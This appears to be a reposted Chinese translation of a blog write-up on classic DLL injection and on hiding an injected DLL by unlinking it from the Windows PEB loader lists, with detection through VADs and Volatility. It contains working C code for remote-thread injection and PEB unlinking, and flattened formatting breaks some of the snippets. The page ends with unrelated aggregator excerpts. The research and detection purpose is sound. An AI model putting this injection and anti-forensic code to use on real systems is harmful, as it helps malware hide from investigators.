隐藏在众目睽睽之下:从PEB中解除恶意DLL的链接

news/2025/9/25 18:08:46/文章来源:https://www.cnblogs.com/qife122/p/19111709

隐藏在众目睽睽之下:从PEB中解除恶意DLL的链接

在这篇文章中,我们将探讨一种恶意软件可以利用的反取证技术,用于隐藏注入的DLL。我们将深入探讨Windows进程环境块(PEB)的具体细节,以及如何滥用它来隐藏已加载的恶意DLL。

背景:您可能想知道,如果我最近更专注于云安全,为什么您会读到一篇关于Windows内部结构的文章。我最初是在三年前,即2020年4月,写了这篇博客文章。我当时在解释为什么Process Hacker会检测到本文描述的DLL解除链接技术时遇到了困难,所以我停止了写作,从未发表它。昨天在KubeCon上,我和很棒的Brad Geesaman共进晚餐,他鼓励我发表它。感谢Brad让我更进一步!

免责声明:我们在本文中讨论的技术并不新颖。事实上,它可能已经有十多年的历史了。话虽如此,我未能找到任何关于如何在实践中使用它的可操作且详细的文章,所以这篇文章记录了我的探索历程!

DLL注入回顾(T1055.001)

DLL注入是许多恶意软件和威胁行为者使用的常见技术。有多种DLL注入技术,我们将重点讨论"经典"的DLL注入,即恶意进程将磁盘上存在的DLL注入到目标进程中。一个更隐蔽和复杂的变种是反射式DLL注入。另一个非常流行的技术是DLL搜索顺序劫持。

DLL注入101

恶意进程通常执行"经典DLL注入"的步骤如下:

  1. 确保要注入的DLL存在于磁盘上
  2. 使用OpenProcess获取要注入的进程的句柄
int desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
int targetPid = find_process("target.exe");
HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
  1. 在目标进程的内存空间中分配一个可读写的内存区域,并将要注入的DLL路径写入其中
#define DLL_TO_INJECT "C:\\Windows\\Temp\\malicious.dll"
LPVOID targetDataPage = VirtualAllocEx(hTargetProcess, NULL, strlen(DLL_TO_INJECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hTargetProcess, targetDataPage, DLL_TO_INJECT, strlen(DLL_TO_INJECT), NULL)
  1. 检索LoadLibaryA函数的地址。(注意,这可以在恶意进程的上下文中完成,因为在Windows上,ASLR将kernel32.dll映射到所有进程的相同(虚拟)基地址,直到下次重启)
HMODULE hModule = GetModuleHandleA("kernel32.dll");
FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
  1. 使用CreateRemoteThread在目标进程中创建一个线程,将LoadLibraryA的地址作为入口点,将要注入的DLL的地址作为参数传递。
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(hTargetProcess, NULL, // 安全属性0, // 堆栈大小(LPTHREAD_START_ROUTINE) load_library_addr, targetDataPage, 0, // 创建标志&threadId
);

这将导致在目标进程中生成一个新线程,并基本上调用LoadLibraryA("C:\\Windows\\Temp\\malicious.dll"),触发恶意DLL的入口点。
完整示例代码在此。

DLL

要注入的DLL可以在诸如Visual Studio之类的IDE中编译。当Windows在我们调用CreateRemoteThread后将其加载到目标进程中时,它会自动调用其DllMain函数并带上DLL_PROCESS_ATTACH标志。以下是DLL代码的一个最小示例,假设它什么都不做5分钟然后退出。

BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {if (event == DLL_PROCESS_ATTACH) {for (int i = 0; i < 300; ++i) {Sleep(1000);}}return true;
}

检测DLL注入

这种形式的DLL注入相当嘈杂且相对容易识别。如果我们将DLL注入到一个程序(比如MS Paint)中,并使用Process Explorer、Process Hacker或ListDLLs检查它,我们可以清楚地看到恶意DLL:

# 使用Sysinternals的ListDLLs
PS> Invoke-WebRequest https://live.sysinternals.com/Listdlls64.exe -OutFile listdlls.exe
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
0x000000008c3f0000  0xb000    C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

如果我们收集机器的内存转储,也可以使用Volatility最流行的模块之一dlllist轻松看到该DLL:

$ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
mspaint.exe pid:   9340
Command line : mspaintBase               Path
------------ ----
0x00007ff6db540000 C:\Windows\system32\mspaint.exe
...
0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

一个常见的警告

当使用volatility的dlllist命令时,您可能会遇到这个警告:

"dlllist模块将不再看到从LDR列表中解除链接的DLL" (链接)
"考虑到恶意软件可以解除链接、更改名称或替换系统的库" (链接)

我几年前在阿姆斯特丹参加的SANS FOR508也提到了"DLL解除链接"的概念。不幸的是,我找不到任何关于实现如何在实践中工作的实际代码或解释。所以让我们直接深入探讨吧!

展示你的DLL,我就能告诉你你是谁

恶意软件作者显然有兴趣将他们注入的恶意DLL从分析工具(如DllList或Volatility)中隐藏起来。为了理解如何隐藏,我们首先尝试理解它们如何列出进程加载的DLL!

从PEB枚举DLL

大多数工具使用PEB,这是一个内核在每个进程创建时在其虚拟内存空间中填充的数据结构。PEB包含(除其他外)一个指向PEB_LDR_DATA结构的指针,该结构包含3个LDR_DATA_TABLE_ENTRY元素的双向链表:

  • InLoadOrderModuleList
  • InMemoryOrderModuleList
  • InInitializationOrderModuleList

这3个列表中的每一个都包含相同的条目,但顺序不同,正如它们的名称所示。例如,InLoadOrderModuleList是一个双向链表,包含按加载顺序排列的DLL。这些链表的链接方式起初看起来有点令人困惑,至少对我来说是这样。本质上,每个元素使用一个名为In{Load,Memory,Initialization}OrderLinks的链接属性链接到每个列表中,该属性包含一个指向前一个元素的向后指针(Blink)和一个指向下一个元素的向前指针(Flink)。链接和数据结构如下所示:(完整分辨率可下载版本在此)

要迭代所有加载的DLL,我们需要从PEB检索我们想要使用的列表的指针,比如InMemoryOrderModuleList。然后,我们使用每个条目的Flink指针迭代条目。注意,Flink指针将指向下一个条目的InMemoryOrderLinks结构——我们仍然需要从这个地址减去相关的偏移量以到达LDR_DATA_TABLE_ENTRY结构的开头,这在上面的图表中非常明显——为了做到这一点,我们可以使用CONTAINING_RECORD辅助宏。

// 通过读取FS或GS寄存器返回指向PEB的指针
// 参考:https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
PEB* get_peb() {
#ifdef _WIN64return (PEB*) __readgsqword(0x60);
#elsereturn  (PEB*) __readfsdword(0x30);
#endif
}// 打印当前进程中加载的DLL列表
void list_dlls(void) {PEB* peb = get_peb();LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;LIST_ENTRY* first = current;while (current->Flink != first) {// current->Flink 指向我们想要到达的LDR_DATA_TABLE_ENTRY的'InMemoryOrderLinks'字段// 我们使用CONTAINING_RECORD从这个指针减去适当的偏移量以到达结构的开头LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);current = current->Flink;}
}

如果我们将这段代码包含在我们的恶意DLL中,将其注入到mspaint.exe中,并将输出写入文件而不是使用printf,我们得到:

C:\Windows\system32\mspaint.exe loaded at 00007FF6DB540000
C:\Windows\SYSTEM32\ntdll.dll loaded at 00007FF8DE540000
C:\Windows\System32\KERNEL32.DLL loaded at 00007FF8DC850000
C:\Windows\System32\KERNELBASE.dll loaded at 00007FF8DB4D0000
....
C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

InInitializationOrder 和 InLoadOrder 列表

现在——正如您在上面的代码中看到的,我们使用了InMemoryOrderModuleList双向链表。我们可以使用另外两个吗?可以,但需要额外的工作。事实上,如果您查看winternl.h公开的PEB_LDR_DATALDR_DATA_TABLE_ENTRY结构字段,您会发现它只公开了InMemoryOrderModuleList(链表头)和InMemoryOrderLinks(条目的链接):

// 主要的PEB加载器数据结构
struct PEB_LDR_DATA {BYTE       Reserved1[8];PVOID      Reserved2[3];LIST_ENTRY InMemoryOrderModuleList;
};// 对应每个已加载DLL的数据结构
struct LDR_DATA_TABLE_ENTRY {PVOID Reserved1[2];LIST_ENTRY InMemoryOrderLinks;PVOID Reserved2[2];PVOID DllBase;PVOID EntryPoint;...
};

Reserved字段名称表明,出于某种原因,Microsoft不希望人们使用它们——可能是出于稳定性原因,因为这些都是内部数据结构。话虽如此,通过一些谷歌搜索和基本调试,我们可以重新定义LDR_DATA_TABLE_ENTRY结构,以便也能在我们的代码中使用另外两个链表——我们后面会需要这个。

typedef struct _MY_LDR_DATA_TABLE_ENTRY
{LIST_ENTRY      InLoadOrderLinks;LIST_ENTRY      InMemoryOrderLinks;LIST_ENTRY      InInitializationOrderLinks;PVOID           DllBase;PVOID           EntryPoint;ULONG           SizeOfImage;UNICODE_STRING  FullDllName;UNICODE_STRING  ignored;ULONG           Flags;SHORT           LoadCount;SHORT           TlsIndex;LIST_ENTRY      HashTableEntry;ULONG           TimeDateStamp;
} MY_LDR_DATA_TABLE_ENTRY;

假设我们现在想要访问InLoadOrderModuleList链表,我们现在可以通过以下方式实现:

  1. 访问InMemoryOrderModuleList的第一个元素
  2. 使用其InLoadOrderLinks链接结构

示例,与前面的示例非常相似,但使用InLoadOrderModuleListInLoadOrderLinks链接结构:

void list_dlls_with_init_order_chaining(void) {PEB* peb = get_peb();// 按内存顺序检索条目LIST_ENTRY* inMemoryOrderList = &peb->Ldr->InMemoryOrderModuleList;MY_LDR_DATA_TABLE_ENTRY* firstInMemoryEntry = CONTAINING_RECORD(inMemoryOrderList, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);// 然后使用'按加载顺序'的链接链来迭代DLLLIST_ENTRY* current = &firstInMemoryEntry->InLoadOrderLinks;LIST_ENTRY* first = current;while (current->Flink != first) {MY_LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);printf("%wZ loaded\n", entry->FullDllName);current = current->Flink;}
}

旁注:这并不理想,因为当我们迭代这个列表时,我们不会从它的第一个元素开始。相反,我们将从InMemoryOrderModuleList的第一个元素开始,然后只按正确的顺序继续。(要正确地做到这一点,我们需要用适当的字段重新定义PEB_LDR_DATA,但我没有做到——而且,我们这里不需要它。)

反取证技术:从PEB中解除恶意DLL的链接

现在我们正确理解了某些取证检查工具如何列出进程中的DLL,我们可以研究如何隐藏它们。

想法很简单:

  1. 迭代PEB中包含已加载DLL列表的其中一个链表
  2. 当我们找到我们的恶意DLL时,将其从这些链表中解除链接

最终我们的PEB将如下所示:(完整尺寸在此)

请注意,DLL malicious.dll的条目仍然在内存中,但不再在任何链表中了吗?
执行解除链接的代码复现如下。

void unlink_peb(void) {PEB* peb = get_peb();LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;LIST_ENTRY* first = current;while (current->Flink != first) {MY_LDR_DATA_TABLE_ENTRY* entry = (MY_LDR_DATA_TABLE_ENTRY *) CONTAINING_RECORD(current, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);char dllName[256];snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {// 找到DLL!将其从3个双向链表中解除链接entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;return;}current = current->Flink;}
}

现在如果我们使用ListDLLs搜索我们的恶意DLL会发生什么?

PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
PS>

它找不到它。如果我们获取机器的内存镜像,Volatility的dlllist呢?

$ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious
$

一样。这是预期的——以下是Volatility文档关于dlllist的说法:

要显示进程加载的DLL,请使用dlllist命令。它遍历由PEB的InLoadOrderModuleList指向的_LDR_DATA_TABLE_ENTRY结构的双向链表。

我们正是将我们的DLL从InLoadOrderModuleList中解除链接了,这解释了为什么dlllist现在找不到它。

检测DLL解除链接

在分析内存转储时,我们感兴趣的有两件事:

  1. 查找进程加载的所有DLL,即使它已被解除链接
  2. 理解我们找到的DLL是否已从PEB双向链表中解除链接。在取证调查中,这至关重要,因为它表明攻击者或恶意软件正试图在系统上隐藏。

为此,我们可以使用VAD(虚拟地址描述符),这是一个低级内核数据结构,用于跟踪内存区域如何映射到特定进程和DLL。当恶意行为者从PEB(在用户空间)解除DLL的链接时,这不会影响VAD。因此,我们可以比较PEB中引用的DLL与VAD中的DLL,看看是否存在差异。
一些流行工具使用VAD,将能捕获到已解除链接的DLL:

  • Process Hacker。因为它似乎使用PEB来列出DLL,这让我感到惊讶。最有可能的是,它实际上安装了一个内核驱动程序,并同时利用了VAD。
  • Volatility的malfind。它在底层使用ldrmodules来查看VAD中是否存在不在PEB中的DLL。

实际中的DLL解除链接

虽然DLL解除链接似乎被频繁提及,但我只在实际中找到一个例子:Flame蠕虫(另一个分析在此),Stuxnet的一个变种。可能还有更多,我没有花太多时间寻找。如果您有更多例子,请告诉我!

未来研究

截至2023年,我专注于云和容器安全,在可预见的未来不太可能专注于Windows安全或取证。话虽如此,有一些我想尝试的事情——如果您对此感兴趣,请尝试一下,并在评论中或Twitter上告诉我您发现了什么!这些是我三年前写的笔记摘录,所以如果它们不完全合理,请原谅我。

  • 如果我们在PEB中覆盖DLL名称,我们能否使加载的DLL看起来像是合法的?
  • 如果我们取消映射内存中的DLL,我们能隐藏它吗?
  • 我们能否使用内存转储中DLL的打开句柄来识别我们有一个指向不存在且可能已被隐藏的DLL的句柄?

其他有用的资源

  • BlackHat Asia 2017 - Evasive Hollow Process Injection
  • Difference among dlllist, ldrmodules and vad
  • Windows Internals for Malware Analysis
  • Malware Analyst's Cookbook (第16章,特别是配方16-2:使用ldr_modules检测已解除链接的DLL)
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/917346.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详细介绍:Java 领域中 Java-EE 的异步编程实现

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

营销型网站公司名称手机wap网站模板 带后台

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 单点登录SSO&#xff08;Single Sign On&#xff09;说得简单点就是在一个多系统共存的环境下&#xff0c;用户在一处登录后&#xff0c;…

网站qq聊天代码深圳网站建设公司服务商

mqtt&#xff1a;轻量级物联网消息推送协议。 目录 一、介绍 1、官方文档 1&#xff09;npm网 2) 中文网 MQTT中文网_MQTT 物联网接入平台-MQTT.CN 2、官方示例 二、准备工作 1、安装依赖包 2、示例版本 三、使用步骤 1、在单页面引入 mqtt 四、完整示例 tips 一、介…

设计模式六大原则 - 实践

设计模式六大原则 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &q…

徐霞客的《青云志》

徐霞客的《青云志》明代著名的旅行家和地理学家徐霞客的《青云志》在网络上炒得火爆。全文是: “身处低谷不自弃,我命由我不由天。 无人扶我青云志,我自踏雪至山巅。 若是命中无此运,亦可孤身登昆仑。 红尘赠我三尺…

深入解析:豆包Seedream 4.0:全面测评、玩法探索与Prompt解读

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

运营商 API 安全最佳实践、案例与方案推荐(2025)|千万级接口的全链路实战

在 5G、云原生与边缘协同的现实架构里,运营商的 API 安全应遵循一条清晰主线:资产可视 → 行为基线 → 联动处置 → 可审计证据。落地层面需要可度量、可复核的硬指标作为抓手,例如 分钟级增量捕获、告警≤0.5s、MT…

HyperWorks许可与多用户支持

在工程项目中,软件许可管理和多用户支持是确保团队协作顺畅进行的核心要素。HyperWorks作为一款领先的工程仿真软件,不仅提供了灵活的许可管理方案,还具备卓越的多用户支持功能,助力团队高效协作,共创卓越成果。 …

免费素材库短视频素材网站如何做网站知乎

大家都知道光模块是影响整个网络性能的关键因素&#xff0c;特别是在工业以太网中&#xff0c;网络连接控制的多为大型工业设备&#xff0c;光模块的稳定性尤为重要&#xff0c;那么&#xff0c;我们该如何选购工业级光模块呢&#xff1f;接下来就由飞畅科技的小编来为大家详细…

破局与进化:火山引擎Data Agent从落地实践到架构未来

本文为火山引擎技术专家陈硕,在AICon全球人工智能与机器学习技术大会上的演讲分享。本文围绕以下五部分展开:Data Agent整体介绍 智能分析Agent产品演进 智能分析Agent技术架构演进 智能分析Agent落地新进展 Data Ag…

建立网站平台做ppt的软件怎么下载网站

文章目录 写在前面Tag题目来源解题思路方法一&#xff1a;链表转数组方法二&#xff1a;自顶向下归并排序方法三&#xff1a;自底向上的归并排序 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内…

使用trace进行排查网络瓶颈

func NewHTTPTraceLogger(ctx context.Context, fileUrl string, fragmentID, attempt int) context.Context {traceStart := time.Now()var dnsStart, connectStart, tlsStart, gotConnTime time.Timetrace := &h…

五项能力斩获满分!天翼云云WAF获IDC权威认可!

近日,国际数据公司(IDC)发布《协同大模型防火墙能力的中国WAAP厂商技术能力评估,2025》报告,围绕Web安全、Bot管理、威胁情报等核心现代应用防护需求,对厂商的产品技术与服务能力展开全面考察。天翼云云WAF产品在…

什么样的代码可以称得上是好代码? - 浪矢

目录 好代码不仅需满足功能需求,还要考虑未来的拓展,问题的排查,用户的体验和成本控制。 在Code Review & 开发行为规范中我从代码开发与实现规范,异常处理规范,日志管理规范以及版本控制与写作规范四个维度梳…

抖胆代理商,DD3118S芯片,USB3.0读卡方案,替代GL3213S方案

抖胆代理商,DD3118S芯片,USB3.0读卡方案,替代GL3213S方案DD3118s是抖胆科技推出的一款读卡器控制芯片,DD3118S基于40nm低功耗工艺设计,集成了USB 3.0、SD 3.0和eMMC 4.5协议支持能力。其最大特点是创新性地采用了…

JavaEE 导读与环境配置 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

深圳 响应式网站建设广州网站推广哪家强

在C中&#xff0c;函数参数的传递方式主要有三种&#xff1a;值传递、引用传递和指针传递。下面我会分别解释这三种方式的区别&#xff1a; 值传递&#xff08;Pass by Value&#xff09;: 值传递是将实际参数的值复制给函数的形式参数。这意味着函数接收的是原始数据的一个副本…

中宁网站建设公司网页美工设计中职期末试卷

【漏洞详情】 漏洞描述&#xff1a;Alibaba Nacos derby 存在远程代码执行漏洞&#xff0c;由于Alibaba Nacos部分版本中derby数据库默认可以未授权访问&#xff0c;恶意攻击者利用此漏洞可以未授权执行SQL语句&#xff0c;从而远程加载恶意构造的jar包&#xff0c;最终导致任意…

南昌网站排名ui设计师的工作内容是什么

为当前组件添加内容模糊效果。 说明&#xff1a; 从API Version 10开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 foregroundBlurStyle foregroundBlurStyle(value: BlurStyle, options?: ForegroundBlurStyleOptions) 为当前组件提供…

番禺网站建设优化推广wordpress 离线编辑器

Scrum作为一种敏捷开发方法&#xff0c;具有许多优势&#xff0c;但也面临一些挑战。以下是Scrum的主要优势和挑战&#xff1a; Scrum优势&#xff1a; 快速交付价值&#xff1a; Scrum采用迭代开发方法&#xff0c;每个Sprint周期结束时交付一个可用的增量&#xff0c;使团队…